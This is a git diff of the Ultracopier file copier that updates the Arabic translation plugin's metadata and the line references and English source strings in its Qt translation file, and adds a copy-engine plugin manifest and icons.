<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins/CopyEngine/Ultracopier/plugin.json b/plugins/CopyEngine/Ultracopier/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins/CopyEngine/Ultracopier/resources/add.png b/plugins/CopyEngine/Ultracopier/resources/add.png
new file mode 100644
index 0000000..7932127
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/resources/add.png
Binary files differ
diff --git a/plugins/CopyEngine/Ultracopier/resources/edit.png b/plugins/CopyEngine/Ultracopier/resources/edit.png
new file mode 100644
index 0000000..5464856
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/resources/edit.png
Binary files differ
diff --git a/plugins/CopyEngine/Ultracopier/resources/filter.png b/plugins/CopyEngine/Ultracopier/resources/filter.png
new file mode 100644
index 0000000..9bb3164
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/resources/filter.png
Binary files differ
diff --git a/plugins/CopyEngine/Ultracopier/resources/remove.png b/plugins/CopyEngine/Ultracopier/resources/remove.png
new file mode 100644
index 0000000..b711740
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/resources/remove.png
Binary files differ
diff --git a/plugins/Languages/ar/flag.png b/plugins/Languages/ar/flag.png
index 64fe557..538c4f9 100644
--- a/plugins/Languages/ar/flag.png
+++ b/plugins/Languages/ar/flag.png
Binary files differ
diff --git a/plugins/Languages/ar/informations.xml b/plugins/Languages/ar/informations.xml
index a52ba39..24ea31a 100644
--- a/plugins/Languages/ar/informations.xml
+++ b/plugins/Languages/ar/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to arabic. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to arabic. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>ar</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- =ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/ar/translation.ts b/plugins/Languages/ar/translation.ts
index d838fb7..b02bb87 100644
--- a/plugins/Languages/ar/translation.ts
+++ b/plugins/Languages/ar/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
